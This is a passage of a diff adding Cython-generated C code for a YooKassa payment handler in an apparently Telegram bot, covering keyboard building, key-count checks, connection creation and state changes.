{ + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":84 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * key_count = await get_key_count(tg_id) + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_4}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":86 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< + * + * if key_count == 0: + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 86, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":88 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 88, __pyx_L1_error) + if (__pyx_t_2) { + + /* "handlers/payments/yookassa_pay.py":89 + * + * if key_count == 0: + * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":90 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_15 = (!__pyx_t_2); + if (__pyx_t_15) { + + /* "handlers/payments/yookassa_pay.py":91 + * exists = await check_connection_exists(tg_id) + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 91, __pyx_L1_error); + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 91, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 91, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 91, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 91, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 91, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":90 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + } + + /* "handlers/payments/yookassa_pay.py":88 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + } + + /* "handlers/payments/yookassa_pay.py":93 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":94 + * + * await callback_query.message.answer( + * text=" :", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 94, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":95 + * await callback_query.message.answer( + * text=" :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":93 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 93, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 93, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":98 + * ) + * + * await state.set_state(ReplenishBalanceState.choosing_amount_yookassa) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_choosing_amount_yookassa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_1}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 98, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 98, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_yookassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_4process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_4process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 101, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 101, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 101, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 101, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 101, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 101, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_5generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 